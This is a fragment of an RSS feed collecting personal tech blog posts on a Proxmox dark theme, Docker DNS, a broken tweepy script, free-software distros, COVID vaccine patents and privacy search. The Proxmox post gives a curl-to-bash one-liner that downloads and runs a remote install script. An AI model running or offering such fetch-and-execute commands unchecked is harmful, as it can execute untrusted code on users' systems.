            <title><![CDATA[Dark Mode for Proxmox]]></title>
            <link>https://shrirangkahale.com/posts/proxmox-discord/</link>
            <guid isPermaLink="false">https://shrirangkahale.com/posts/proxmox-discord/</guid>
            <pubDate>Fri, 10 Dec 2021 09:42:24 GMT</pubDate>
            <description><![CDATA[How to make proxmox UI beautiful I use proxmox daily for virtual machines and LCX containers, It is one of the best virtual machince platform that utilizes KVM And it’s FOSS but the default UI is too bright and I prefer darker themes
Discord-PVE Discord-PVE is a discord theme for the proxmox virtual environment it uses custom stylesheet.
To Install it: run this oneliner
bash <(curl -s https://raw.githubusercontent.com/Weilbyte/PVEDiscordDark/master/PVEDiscordDark.sh ) install This looks soo much better https://github.]]></description>
            <content:encoded><![CDATA[How to make proxmox UI beautiful I use proxmox daily for virtual machines and LCX containers, It is one of the best virtual machince platform that utilizes KVM And it&rsquo;s FOSS but the default UI is too bright and I prefer darker themes
Discord-PVE Discord-PVE is a discord theme for the proxmox virtual environment it uses custom stylesheet.
To Install it: run this oneliner
bash &lt;(curl -s https://raw.githubusercontent.com/Weilbyte/PVEDiscordDark/master/PVEDiscordDark.sh ) install This looks soo much better https://github.]]></content:encoded>
            <author>Shrirang Kahale</author>
        </item>
        <item>
            <title><![CDATA[Setting DNS for containers in a docker environment]]></title>
            <link>https://shrirangkahale.com/posts/dns-docker/</link>
            <guid isPermaLink="false">https://shrirangkahale.com/posts/dns-docker/</guid>
            <pubDate>Fri, 10 Dec 2021 09:42:24 GMT</pubDate>
            <description><![CDATA[Setting DNS in a docker environment I have a DNS resolver running on my homeserver (adguard home) which also acts as an adblocker. But the host firewall is configured to only accept traffic from my home LAN (10.0.1.0/24) The containers meanwhile are isolated and do not share the same IP range as my LAN, this leads to DNS queries failing inside the containers. I have noticed that all my containers default to 8.]]></description>
            <content:encoded><![CDATA[Setting DNS in a docker environment I have a DNS resolver running on my homeserver (adguard home) which also acts as an adblocker. But the host firewall is configured to only accept traffic from my home LAN (10.0.1.0/24) The containers meanwhile are isolated and do not share the same IP range as my LAN, this leads to DNS queries failing inside the containers. I have noticed that all my containers default to 8.]]></content:encoded>
            <author>Shrirang Kahale</author>
        </item>
        <item>
            <title><![CDATA[Breaking Software and Getting Older]]></title>
            <link>https://mrkaran.dev/posts/breaking-software/</link>
            <guid isPermaLink="false">https://mrkaran.dev/posts/breaking-software/</guid>
            <pubDate>Thu, 09 Dec 2021 02:40:55 GMT</pubDate>
            <description><![CDATA[Recently, I’d posted on Twitter that my feed has become messy overtime. Maybe I followed some accounts that were of no interest, maybe Twitter’s algos don’t really know what to show to me. Whatever, I wanted a fresh start. And, I’ve done this in past. I’ve removed all the accounts that I follow but they don’t follow me back. This little trick is helpful to start afresh while still not offending your friends ;)

I’d written a really simple Python script to do the job! It looks like:
import tweepy

SCREEN_NAME = 'mrkaran_'
CONSUMER_KEY = ''
CONSUMER_SECRET = ''
ACCESS_TOKEN = ''
ACCESS_TOKEN_SECRET = ''

auth = tweepy.OAuthHandler(CONSUMER_KEY, CONSUMER_SECRET)
auth.set_access_token(ACCESS_TOKEN, ACCESS_TOKEN_SECRET)
api = tweepy.API(auth)

followers = api.followers_ids(SCREEN_NAME)
friends = api.friends_ids(SCREEN_NAME)

for f in friends:
    if f not in followers:
        print("Unfollow {0}?".format(api.get_user(f).screen_name))
        api.destroy_friendship(f)
I’d last ran this in 2019 or so. That is dinosaur ages in the world of software. All I wanted to do was run this goddamn script again, 2 years later. Seems to be too much of an ask? Apparently tweepy the library used here to interact with Twitter’s APIs had a major release with lots of breaking changes. They’ve internally migrated to start using v2 Twitter API. So, when I naively ran pip install tweepy, my code threw:
❯ python main.py    
Traceback (most recent call last):
  File "/home/karan/Code/Personal/twitter-unfollow/main.py", line 13, in <module>
    followers = api.followers_ids(SCREEN_NAME)
AttributeError: 'API' object has no attribute 'followers_ids'
So, some method name changed. But that’s not all. The whole auth process including the initialisation of the API object changed as well. I’d spent some ~15 minutes grokking the docs but frustrated because 1) I don’t give a shit about v2/v1 APIs. 2) I just want to carry on with whatever I was doing. Why is this shit taking more time than I can care to give this to?
I’d have cared enough if it was a side-project I maintained or something that I used daily. A utility like this which gets used once in a couple of years, will see more such breaking changes in future. Why, then should I spend migrating to v2 APIs, when after 2 years, v3 APIs would have broken my code again? What is the damn point? Why can’t software just keep working without troubling their users?
In the end, I just installed the last version that works with v1 APIs and ran the script.
I get breaking changes, I totally do. And I’ve no qualms with Tweepy. They did what they had to, in order to be compatible with v2. I am just angry/sad at the whole ecosystem of “Move fast, break things”.
Please. Slow. Down.
So that the rest of us who have a life can enjoy it and not spend an entire weekend migrating across versions!
Sigh]]></description>
            <content:encoded><![CDATA[<p>Recently, I’d posted on Twitter that my feed has become <em>messy</em> overtime. Maybe I followed some accounts that were of no interest, maybe Twitter’s algos don’t really know what to show to me. Whatever, I wanted a fresh start. And, I’ve done this in past. I’ve removed all the accounts that I follow but they don’t follow me back. This little trick is helpful to start afresh while still not offending your friends ;)</p>
<p><img src="https://mrkaran.dev/images/twitter_cleanup.png" alt="image" /></p>
<p>I’d written a really simple Python script to do the job! It looks like:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="python"><span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">import</span><span> tweepy</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#005CC5, #6CB6FF);">SCREEN_NAME</span><span style="color: light-dark(#D73A49, #F47067);"> =</span><span style="color: light-dark(#032F62, #96D0FF);"> &#39;</span><span style="color: light-dark(#032F62, #96D0FF);">mrkaran_</span><span style="color: light-dark(#032F62, #96D0FF);">&#39;</span></span>
<span class="giallo-l"><span style="color: light-dark(#005CC5, #6CB6FF);">CONSUMER_KEY</span><span style="color: light-dark(#D73A49, #F47067);"> =</span><span style="color: light-dark(#032F62, #96D0FF);"> &#39;</span><span style="color: light-dark(#032F62, #96D0FF);">&#39;</span></span>
<span class="giallo-l"><span style="color: light-dark(#005CC5, #6CB6FF);">CONSUMER_SECRET</span><span style="color: light-dark(#D73A49, #F47067);"> =</span><span style="color: light-dark(#032F62, #96D0FF);"> &#39;</span><span style="color: light-dark(#032F62, #96D0FF);">&#39;</span></span>
<span class="giallo-l"><span style="color: light-dark(#005CC5, #6CB6FF);">ACCESS_TOKEN</span><span style="color: light-dark(#D73A49, #F47067);"> =</span><span style="color: light-dark(#032F62, #96D0FF);"> &#39;</span><span style="color: light-dark(#032F62, #96D0FF);">&#39;</span></span>
<span class="giallo-l"><span style="color: light-dark(#005CC5, #6CB6FF);">ACCESS_TOKEN_SECRET</span><span style="color: light-dark(#D73A49, #F47067);"> =</span><span style="color: light-dark(#032F62, #96D0FF);"> &#39;</span><span style="color: light-dark(#032F62, #96D0FF);">&#39;</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span>auth</span><span style="color: light-dark(#D73A49, #F47067);"> =</span><span> tweepy</span><span>.</span><span>OAuthHandler</span><span>(</span><span style="color: light-dark(#005CC5, #6CB6FF);">CONSUMER_KEY</span><span>,</span><span style="color: light-dark(#005CC5, #6CB6FF);"> CONSUMER_SECRET</span><span>)</span></span>
<span class="giallo-l"><span>auth</span><span>.</span><span>set_access_token</span><span>(</span><span style="color: light-dark(#005CC5, #6CB6FF);">ACCESS_TOKEN</span><span>,</span><span style="color: light-dark(#005CC5, #6CB6FF);"> ACCESS_TOKEN_SECRET</span><span>)</span></span>
<span class="giallo-l"><span>api</span><span style="color: light-dark(#D73A49, #F47067);"> =</span><span> tweepy</span><span>.</span><span>API</span><span>(</span><span>auth</span><span>)</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span>followers</span><span style="color: light-dark(#D73A49, #F47067);"> =</span><span> api</span><span>.</span><span>followers_ids</span><span>(</span><span style="color: light-dark(#005CC5, #6CB6FF);">SCREEN_NAME</span><span>)</span></span>
<span class="giallo-l"><span>friends</span><span style="color: light-dark(#D73A49, #F47067);"> =</span><span> api</span><span>.</span><span>friends_ids</span><span>(</span><span style="color: light-dark(#005CC5, #6CB6FF);">SCREEN_NAME</span><span>)</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">for</span><span> f</span><span style="color: light-dark(#D73A49, #F47067);"> in</span><span> friends</span><span>:</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">    if</span><span> f</span><span style="color: light-dark(#D73A49, #F47067);"> not</span><span style="color: light-dark(#D73A49, #F47067);"> in</span><span> followers</span><span>:</span></span>
<span class="giallo-l"><span style="color: light-dark(#005CC5, #6CB6FF);">        print</span><span>(</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">Unfollow </span><span style="color: light-dark(#005CC5, #F47067);">{0}</span><span style="color: light-dark(#032F62, #96D0FF);">?</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>.</span><span>format</span><span>(</span><span>api</span><span>.</span><span>get_user</span><span>(</span><span>f</span><span>)</span><span>.</span><span>screen_name</span><span>)</span><span>)</span></span>
<span class="giallo-l"><span>        api</span><span>.</span><span>destroy_friendship</span><span>(</span><span>f</span><span>)</span></span></code></pre>
<p>I’d last ran this in 2019 or so. That is dinosaur ages in the world of software. All I wanted to do was run this goddamn script again, 2 years later. Seems to be too much of an ask? Apparently <code>tweepy</code> the library used here to interact with Twitter’s APIs had a <a rel="external" href="https://github.com/tweepy/tweepy/releases/tag/v4.0.0">major release</a> with lots of breaking changes. They’ve internally migrated to start using v2 Twitter API. So, when I naively ran <code>pip install tweepy</code>, my code threw:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="python"><span class="giallo-l"><span>❯ </span><span>python</span><span> main</span><span>.</span><span>py</span><span>    </span></span>
<span class="giallo-l"><span>Traceback</span><span> (</span><span>most</span><span> recent</span><span> call</span><span> last</span><span>)</span><span>:</span></span>
<span class="giallo-l"><span>  File</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">/home/karan/Code/Personal/twitter-unfollow/main.py</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>,</span><span> line</span><span style="color: light-dark(#005CC5, #6CB6FF);"> 13</span><span>,</span><span style="color: light-dark(#D73A49, #F47067);"> in</span><span style="color: light-dark(#D73A49, #F47067);"> &lt;</span><span>module</span><span style="color: light-dark(#D73A49, #F47067);">&gt;</span></span>
<span class="giallo-l"><span>    followers</span><span style="color: light-dark(#D73A49, #F47067);"> =</span><span> api</span><span>.</span><span>followers_ids</span><span>(</span><span style="color: light-dark(#005CC5, #6CB6FF);">SCREEN_NAME</span><span>)</span></span>
<span class="giallo-l"><span style="color: light-dark(#005CC5, #6CB6FF);">AttributeError</span><span>:</span><span style="color: light-dark(#032F62, #96D0FF);"> &#39;</span><span style="color: light-dark(#032F62, #96D0FF);">API</span><span style="color: light-dark(#032F62, #96D0FF);">&#39;</span><span style="color: light-dark(#005CC5, #6CB6FF);"> object</span><span> has</span><span> no</span><span> attribute</span><span style="color: light-dark(#032F62, #96D0FF);"> &#39;</span><span style="color: light-dark(#032F62, #96D0FF);">followers_ids</span><span style="color: light-dark(#032F62, #96D0FF);">&#39;</span></span></code></pre>
<p>So, some method name changed. But that’s not all. The whole auth process including the initialisation of the API object changed as well. I’d spent some ~15 minutes grokking the docs but frustrated because 1) I don’t give a shit about v2/v1 APIs. 2) I just want to <em>carry</em> on with whatever I was doing. Why is this shit taking more time than I can care to give this to?</p>
<p>I’d have cared enough if it was a side-project I maintained or something that I used daily. A utility like this which gets used once in a couple of years, <strong>will</strong> see more such breaking changes in future. Why, then should I spend migrating to v2 APIs, when after 2 years, v3 APIs would have broken my code again? What is the damn point? Why can’t software just keep working without troubling their users?</p>
<p>In the end, I just installed the last version that works with <code>v1</code> APIs and ran the script.</p>
<p>I get breaking changes, I totally do. And I’ve no qualms with Tweepy. They did what they had to, in order to be compatible with v2. I am just angry/sad at the whole ecosystem of “Move fast, break things”.</p>
<p><em>Please. Slow. Down.</em></p>
<p>So that the rest of us who have a life can enjoy it and not spend an entire weekend migrating across versions!</p>
<p>Sigh</p>
]]></content:encoded>
            <author>Karan Sharma</author>
        </item>
        <item>
            <title><![CDATA[How I choose my distros]]></title>
            <link>https://ravidwivedi.in/posts/choosing-distro/</link>
            <guid isPermaLink="false">https://ravidwivedi.in/posts/choosing-distro/</guid>
            <pubDate>Tue, 07 Dec 2021 00:00:00 GMT</pubDate>
            <description><![CDATA[If you don’t know what a distro is, I will explain that in a minute.
First, I would like to ask you a question
Which operating system do you use?
Do you use Microsoft Windows?
Do you use MacOS?
or do you use Ubuntu?
Why do you use whatever you use?
In this post, I will share the reasoning behind choosing the operating systems I use and why it matters.
What is a distro? There are many operating systems known as GNU/Linux (actually they are known erroneously as “Linux”, please read this article for an explanation of why we call it GNU/Linux and not Linux). The members of the family of GNU/Linux systems are called distros.
I don’t use Microsoft Windows and MacOS because they are nonfree/proprietary software. And the symptoms of them being nonfree software are that they are malware and mistreat their users in many ways.
I do not want to use any nonfree software. So, for example, Ubuntu has nonfree software in its repositories and the version of Linux, the kernel, included in Ubuntu contains firmware blobs. That is not an ideal distro I would like to run.
Right now, I am using PureOS because it does not have any nonfree software in its repositories, does not ship with any nonfree firmware, follows Free System Distribution Guidelines (GNU FSDG) and so it is a GNU/FSF endorsed distro. Also, PureOS is ideologically inclined towards Free Software and values user’s freedom and privacy.
Further, PureOS is maintained by Purism, a company which is very committed to freedom and privacy of users. Purism is developing hardware, like mobile phones and laptops, which can run exclusively on fully free software. I support their work and when I say I use PureOS to someone, they might want to search about it and so it will raise awareness about Purism and their work.
Another distribution I use and endorse is Debian GNU/Linux as it does not ship with any nonfree firmware, it does not have any nonfree packages in its main repositories. I know GNU does not endorse Debian, but I think Debian is a good freedom-respecting distro. Like PureOS, Debian is also ideologically inclined towards free software philosophy. Debian adheres to Debian Social Contract as well which is committed to free software. Plus Debian has an inclusive community which is very welcoming to all. The decision-making of Debian Community is democratic in nature.
Further, I occassionally use other distros endorsed by GNU because they are committed to Free SOftware philosophy and contain no nonfree/proprietary software by default.
Summarizing the above discussion, I choose distros if they match the following criteria:
It should respect my freedom and privacy;
It should be ideologically inclined to free software philosophy.
A distro being a free software is not enough. When I use PureOS, other people will learn about Free Software and Purism. This is not the case with, say, Fedora or Ubuntu as they are not committed to free software (shipping with nonfree firmware by default is one example of this), although the operating systems are themselves Free Software. I suggest you the same if you support free software.]]></description>
            <content:encoded><![CDATA[<p>If you don&rsquo;t know what a distro is, I will explain that in a minute.</p>
<p>First, I would like to ask you a question</p>
<p>Which operating system do you use?</p>
<p>Do you use Microsoft Windows?</p>
<p>Do you use MacOS?</p>
<p>or do you use Ubuntu?</p>
<p>Why do you use whatever you use?</p>
<p>In this post, I will share the reasoning behind choosing the operating systems I use and why it matters.</p>
<p>What is a distro? There are many operating systems known as <a href="https://www.gnu.org/gnu/why-gnu-linux.html">GNU/Linux</a> (actually they are known erroneously as &ldquo;Linux&rdquo;, please read <a href="https://www.gnu.org/gnu/why-gnu-linux.html">this article</a> for an explanation of why we call it GNU/Linux and not Linux). The members of the family of GNU/Linux systems are called distros.</p>
<p>I don&rsquo;t use Microsoft Windows and MacOS because they are <a href="https://ravidwivedi.in/free-software">nonfree/proprietary software</a>. And the symptoms of them being nonfree software are that they are <a href="https://gnu.org/malware">malware</a> and mistreat their users in many ways.</p>
<p>I do not want to use any nonfree software. So, for example, Ubuntu has nonfree software in its repositories and the version of Linux, the kernel, included in Ubuntu contains firmware blobs. That is not an ideal distro I would like to run.</p>
<p>Right now, I am using <a href="https://pureos.net/">PureOS</a> because it does not have any nonfree software in its repositories, does not ship with any nonfree firmware, follows <a href="https://www.gnu.org/distros/free-system-distribution-guidelines.html">Free System Distribution Guidelines (GNU FSDG)</a> and so <a href="https://www.gnu.org/distros/free-distros.en.html">it is a GNU/FSF endorsed distro</a>. Also, PureOS is ideologically <a href="https://puri.sm/posts/why-fsf-endorsing-pureos-matters/">inclined towards Free Software and values user&rsquo;s freedom and privacy</a>.</p>
<p>Further, PureOS is maintained by Purism, a company which is very committed to freedom and privacy of users. Purism is developing hardware, like <a href="https://puri.sm/products/librem-5/">mobile phones</a> and <a href="https://puri.sm/products/librem-14/">laptops</a>, which can run exclusively on fully free software. I support their work and when I say I use PureOS to someone, they might want to search about it and so it will raise awareness about Purism and their work.</p>
<p>Another distribution I use and endorse is <a href="https://www.debian.org/">Debian GNU/Linux</a> as it does not ship with any nonfree firmware, it does not have any nonfree packages in its main repositories. I know GNU does not endorse Debian, but I think Debian is a good freedom-respecting distro. Like PureOS, Debian is also <a href="https://www.debian.org/intro/philosophy">ideologically inclined towards free software philosophy</a>. Debian adheres to <a href="https://www.debian.org/social_contract">Debian Social Contract</a> as well which is committed to free software. Plus Debian has an <a href="https://www.debian.org/intro/diversity">inclusive community which is very welcoming to all</a>. The decision-making of Debian Community is <a href="https://www.debian.org/devel/constitution">democratic in nature</a>.</p>
<p>Further, I occassionally use other <a href="https://www.gnu.org/distros/free-distros.en.html">distros endorsed by GNU</a> because they are committed to Free SOftware philosophy and contain no nonfree/proprietary software by default.</p>
<p>Summarizing the above discussion, I choose distros if they match the following criteria:</p>
<ol>
<li>
<p>It should respect my freedom and privacy;</p>
</li>
<li>
<p>It should be ideologically inclined to free software philosophy.</p>
</li>
</ol>
<p>A distro being a free software is not enough. When I use PureOS, other people will learn about Free Software and Purism. This is not the case with, say, Fedora or Ubuntu as they are not committed to free software (shipping with nonfree firmware by default is one example of this), although the operating systems are themselves Free Software. I suggest you the same if you support free software.</p>
]]></content:encoded>
            <author>Ravi Dwivedi</author>
        </item>
        <item>
            <title><![CDATA[Covid Vaccine- A Case Of Prioritizing Greed Of A Few Over Public Health]]></title>
            <link>https://ravidwivedi.in/posts/covid-vaccine-profit-over-people/</link>
            <guid isPermaLink="false">https://ravidwivedi.in/posts/covid-vaccine-profit-over-people/</guid>
            <pubDate>Sat, 04 Dec 2021 00:00:00 GMT</pubDate>
            <description><![CDATA[Look at the image below:
Source: Wikipedia's version of the file uploaded on 3-December-2021 

What does the above image illustrate?
The image demonstrates how unequal the Covid-19 vaccine distribution has been across the countries.
Quoting the official data on Covid vaccines,
54.9% of the world population has received at least one dose of a COVID-19 vaccine.
Only 6.2% of people in low-income countries have received at least one dose.
(on 4th December 2021)
Why is it so?
Is there a scarcity of vaccine units, or is the vaccine being developed at a slow rate?
No!
In fact, the vaccine production is accelerating, but the wealthy countries are restricting the access intentionally. Also, developed countries have preordered more number of vaccines than they require and there are only a few companies developing these vaccines, which means that people in low-income developing countries may not receive vaccinations from these manufacturers until 2023 or 2024.
Why this is so? This is where the profit of Pharmaceutical companies comes in and Bill Gates too.
Basically, the covid vaccine is patented (Patent is a legal right given to someone which excludes others from making or selling an “invention” ) and pharma companies other than companies who hold the patent on the vaccine cannot produce the vaccine.
When Oxford planned to allow all companies to manufacture its Covid vaccine, Bill Gates convinced them to cancel this plan. Another article. This is because Bill Gates prioritizes his profit over people’s health.
Next, Bill Gates came up with a scheme named Covax which, instead of removing the artificial restrictions from the vaccine and allowing independent companies to develop the vaccine, plans to charge high amount of money to wealthy countries and then donate the vaccine using to poor countries.
Companies participating in Covax will be able to set their own prices, without any transparency and accountability. They won’t have to face any legal liability for any potential damages caused by the vaccine made by them. This is what companies want– to earn as much as possible without any transparency and accountability of their actions.
So, basically, what is going on is that the taxpayers of rich countries are paying for higher prices set by pharma companies so that they can donate the vaccines to low-income countries rather than allow local manufacturers in poor countries to develop their own vaccine. The vaccine distribution could have been better in low-income countries if the local manufacturers were allowed to develop the vaccine. Poor countries are doomed to suffer because of the greed of corporates. Here is a good article explaining how patents are a barrier to vaccine distribution. Additionally, this scheme would also affect rich countries’ economies.
 Source:  The Economist Intelligence Unit 

In fact, executive of one vaccine manufactuer said there would be a chance for them to raise prices for the vaccine when COVID moves from a pandemic state to an endemic situation and the virus circulates continually in pockets around the globe. When everyone is safe, the Covid will be over. Instead the company wants the opposite, so that the virus spreads and they can earn more profit.
The scenario is not special to Covid vaccine. Billionaires like Bill Gates have a large influence on public health policies. The root of the problem is capitalism– profit over people or in other words, the system which incentivizes greed over everything else. It is a customary practice for rich to invent schemes like this to remain rich at the expense on others. No surprise that they wouldn’t treat Covid vaccine any different.
 Articles for further reading:


How Bill Gates Impeded Global Access to Covid Vaccines
How Pfizer Silences World Governments in Vaccine Negotiations
The article mentions:
Pfizer silences governments through the use of nondisclosure provisions in many of its contracts. Brazil, for example, is prohibited from making “any public announcement concerning the existence… or terms” of the contract or commenting on its relationship with Pfizer without Pfizer’s prior written consent.
Pfizer can disallow governments from accepting additional donations of the Pfizer vaccine.
Pfizer exempts itself from liability for patent infringements, shifting the financial risk of Pfizer’s actions to government purchasers – despite Pfizer’s opposition to similar exemptions for manufacturers proposed at the World Trade Organization.
It gives the power to secret private arbitrators, not public courts, to decide issues on contract disputes.
Pfizer requires some countries to waive sovereign immunity, so it can go after state assets in case of a dispute.
Pfizer gives itself sole power when it comes to making key decisions, including how vaccine deliveries will be prioritized if there is a supply shortage.
Another article for more information.
Pressuring low-income countries.
Moderna not sharing its technology stopping the poorest nations to produce the shot themselves.]]></description>
            <content:encoded><![CDATA[<p>Look at the image below:</p>
<figure>
<img src="https://ravidwivedi.in/images/World_map_of_share_of_the_population_fully_vaccinated_against_COVID-19_by_country.png" width="500" height="300">
<figcaption><a href="https://upload.wikimedia.org/wikipedia/commons/e/ee/World_map_of_share_of_the_population_fully_vaccinated_against_COVID-19_by_country.png">Source: Wikipedia's version of the file uploaded on 3-December-2021</a> </figcaption>
</figure>
<p>What does the above image illustrate?</p>
<p>The image demonstrates how unequal the Covid-19 vaccine distribution has been across the countries.</p>
<p><a href="https://web.archive.org/web/20211204163451/https://ourworldindata.org/covid-vaccinations">Quoting the official data</a> on Covid vaccines,</p>
<blockquote>
<p>54.9% of the world population has received at least one dose of a COVID-19 vaccine.
Only 6.2% of people in low-income countries have received at least one dose.</p>
</blockquote>
<p>(on 4th December 2021)</p>
<p>Why is it so?</p>
<p>Is there a scarcity of vaccine units, or is the vaccine being developed at a slow rate?</p>
<p>No!</p>
<p>In fact, the vaccine production is accelerating, but <a href="https://www.theguardian.com/commentisfree/2021/sep/09/west-vaccine-doses-covid-production">the wealthy countries are restricting the access intentionally</a>. Also, developed countries have preordered more number of vaccines than they require and there are only a few companies developing these vaccines, which means that people in low-income developing countries <a href="https://www.eiu.com/n/85-poor-countries-will-not-have-access-to-coronavirus-vaccines">may not receive vaccinations from these manufacturers until 2023 or 2024</a>.</p>
<p>Why this is so? This is where the profit of Pharmaceutical companies comes in and Bill Gates too.</p>
<p>Basically, the covid vaccine is patented (Patent is a legal right given to someone which excludes others from making or selling an &ldquo;invention&rdquo; ) and pharma companies other than companies who hold the patent on the vaccine cannot produce the vaccine.</p>
<p>When Oxford planned to allow all companies to manufacture its Covid vaccine, Bill Gates <a href="https://aftinet.org.au/cms/node/1932">convinced them to cancel this plan</a>. <a href="https://khn.org/news/rather-than-give-away-its-covid-vaccine-oxford-makes-a-deal-with-drugmaker/">Another article</a>. This is because Bill Gates prioritizes his profit over people&rsquo;s health.</p>
<p>Next, Bill Gates came up with a scheme named Covax which, instead of removing the artificial restrictions from the vaccine and allowing independent companies to develop the vaccine, <a href="https://www.commondreams.org/news/2021/04/22/no-hiding-behind-covax-anymore-critics-say-delivery-shortfall-shows-dire-need">plans to charge high amount of money to wealthy countries and then donate the vaccine using to poor countries</a>.</p>
<p>Companies participating in Covax will be able to set their own prices, without any transparency and accountability. They won&rsquo;t have to face any legal liability for any potential damages caused by the vaccine made by them. This is what companies want&ndash; to earn as much as possible without any transparency and accountability of their actions.</p>
<p>So, basically, what is going on is that the taxpayers of rich countries are paying for higher prices set by pharma companies so that they can donate the vaccines to low-income countries rather than allow local manufacturers in poor countries to develop their own vaccine. The vaccine distribution could have been better in low-income countries if the local manufacturers were allowed to develop the vaccine. Poor countries are doomed to suffer because of the greed of corporates. <a href="https://theconversation.com/the-big-barriers-to-global-vaccination-patent-rights-national-self-interest-and-the-wealth-gap-153443">Here is a good article</a> explaining how patents are a barrier to vaccine distribution. Additionally, this scheme <a href="https://iccwbo.org/media-wall/news-speeches/study-shows-vaccine-nationalism-could-cost-rich-countries-us4-5-trillion">would also affect rich countries&rsquo; economies</a>.</p>
<figure>
<img src="https://ravidwivedi.in/images/rich-countries-vaccine-early.png" width="500" height="300">
<figcaption> Source:  <a href="https://www.eiu.com/n/rich-countries-will-get-access-to-coronavirus-vaccines-earlier-than-others/">The Economist Intelligence Unit </a></figcaption>
</figure>
<p>In fact, executive of one vaccine manufactuer said <a href="https://www.businessinsider.com.au/pfizer-execs-highlight-significant-opportunity-hike-covid-vaccine-price-2021-3">there would be a chance for them to raise prices for the vaccine when COVID moves from a pandemic state to an endemic situation</a> and the virus circulates continually in pockets around the globe. When everyone is safe, the Covid will be over. Instead the company wants the opposite, so that the virus spreads and they can earn more profit.</p>
<p>The scenario is not special to Covid vaccine. Billionaires like Bill Gates have a large influence on public health policies. The root of the problem is capitalism&ndash; profit over people or in other words, the system which incentivizes greed over everything else. It is a customary practice for rich to invent schemes like this to remain rich at the expense on others. No surprise that they wouldn&rsquo;t treat Covid vaccine any different.</p>
<br>
<b> Articles for further reading:</b>
<ul>
<li>
<p><a href="https://newrepublic.com/article/162000/bill-gates-impeded-global-access-covid-vaccines">How Bill Gates Impeded Global Access to Covid Vaccines</a></p>
</li>
<li>
<p><a href="https://www.citizen.org/news/report-how-pfizer-silences-world-governments-in-vaccine-negotiations/">How Pfizer Silences World Governments in Vaccine Negotiations</a></p>
<p>The article mentions:</p>
<ul>
<li>
<p>Pfizer silences governments through the use of nondisclosure provisions in many of its contracts. Brazil, for example, is prohibited from making “any public announcement concerning the existence… or terms” of the contract or commenting on its relationship with Pfizer without Pfizer’s prior written consent.</p>
</li>
<li>
<p>Pfizer can disallow governments from accepting additional donations of the Pfizer vaccine.</p>
</li>
<li>
<p>Pfizer exempts itself from liability for patent infringements, shifting the financial risk of Pfizer’s actions to government purchasers – despite Pfizer’s opposition to similar exemptions for manufacturers proposed at the World Trade Organization.</p>
</li>
<li>
<p>It gives the power to secret private arbitrators, not public courts, to decide issues on contract disputes.</p>
</li>
<li>
<p>Pfizer requires some countries to waive sovereign immunity, so it can go after state assets in case of a dispute.</p>
</li>
<li>
<p>Pfizer gives itself sole power when it comes to making key decisions, including how vaccine deliveries will be prioritized if there is a supply shortage.</p>
</li>
</ul>
<p><a href="https://www.citizen.org/article/pfizers-power/">Another article for more information</a>.</p>
</li>
<li>
<p><a href="https://nytimes.com/2020/11/23/world/bill-gates-vaccine-coronavirus.html">Pressuring low-income countries</a>.</p>
</li>
<li>
<p><a href="https://nytimes.com/2021/09/22/us/politics/covid-vaccine-moderna-global.html">Moderna not sharing its technology stopping the poorest nations to produce the shot themselves</a>.</p>
</li>
</ul>
]]></content:encoded>
            <author>Ravi Dwivedi</author>
        </item>
        <item>
            <title><![CDATA[Whoogle: A privacy friendly search engine]]></title>
            <link>https://shrirangkahale.com/posts/whoogle-1/</link>
            <guid isPermaLink="false">https://shrirangkahale.com/posts/whoogle-1/</guid>
            <pubDate>Fri, 26 Nov 2021 09:42:24 GMT</pubDate>
            <description><![CDATA[What is whoogle ? Whoogle is a privacy friendly (meta) search engine. It uses google for it’s data but without any ads, javascript, AMP links, cookies, or IP address tracking. It’s Free and opensource software.
Why use whoogle? If you didn’t knew, a great chunk of google’s revenue comes from ads and tracking. They use their services to gather user’s private data and use it for their own benefit, privacy is extremely important.]]></description>
            <content:encoded><![CDATA[What is whoogle ? Whoogle is a privacy friendly (meta) search engine. It uses google for it&rsquo;s data but without any ads, javascript, AMP links, cookies, or IP address tracking. It&rsquo;s Free and opensource software.
Why use whoogle? If you didn&rsquo;t knew, a great chunk of google&rsquo;s revenue comes from ads and tracking. They use their services to gather user&rsquo;s private data and use it for their own benefit, privacy is extremely important.]]></content:encoded>
            <author>Shrirang Kahale</author>
        </item>
        <item>
            <title><![CDATA[On "Powered by AI / ML" marketing]]></title>
            <link>https://nadh.in/blog/on-powered-by-ai-marketing/</link>
            <guid isPermaLink="false">https://nadh.in/blog/on-powered-by-ai-marketing/</guid>
            <pubDate>Fri, 26 Nov 2021 00:00:00 GMT</pubDate>
            <description><![CDATA[An email I had sent in response to a survey on the use of “AI / ML” and the “AI-first mindset” in our organisation and in the industry was shared on social media[1] [2] sparking surprising amounts of interest. I did candidly state the simple fact that we haven’t come across any big problems that warrant any specific “AI / ML” solutions in our organisation yet (Zerodha - stock broker that offers online investment and trading platforms), and that the bulk of the “powered by AI” claims we have seen across industries and in the numerous startup pitches that we receive, have been cases of hollow marketing. There is also a general expectation (delusion) that any sufficiently large technology company should be using “AI / ML” somehow, somewhere, for some reason.]]></description>
